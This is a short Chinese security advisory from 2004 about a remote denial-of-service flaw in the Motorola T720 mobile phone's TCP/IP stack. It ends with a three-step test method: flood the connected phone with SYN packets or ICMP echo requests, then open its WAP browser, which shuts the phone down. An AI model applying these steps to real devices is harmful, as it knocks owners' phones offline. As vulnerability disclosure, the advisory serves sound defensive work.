安全漏洞
Motorola T720远程拒绝服务攻击漏洞

发布日期:2004-03-01
更新日期:2004-03-05

受影响系统:
Motorola T720
描述:
BUGTRAQ  ID: 9779

Motorola T720是一款包含多个功能的手机。

Motorola T720在处理TCP/IP堆栈实现上存在问题,远程攻击者可以利用这个漏洞使手机关机,造成拒绝服务攻击。

Motorola T720手机接到不正常IP通信,当用户通过WAP浏览器连接网络时会造成关机。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Shaun Colley (shaunige@yahoo.co.uk)提供了如下测试方法:

1)把手机连接到Internet。
2)使用类似SYN包或者ICMP_ECHO请求对设备进行攻击。
3)运行WAP浏览器。
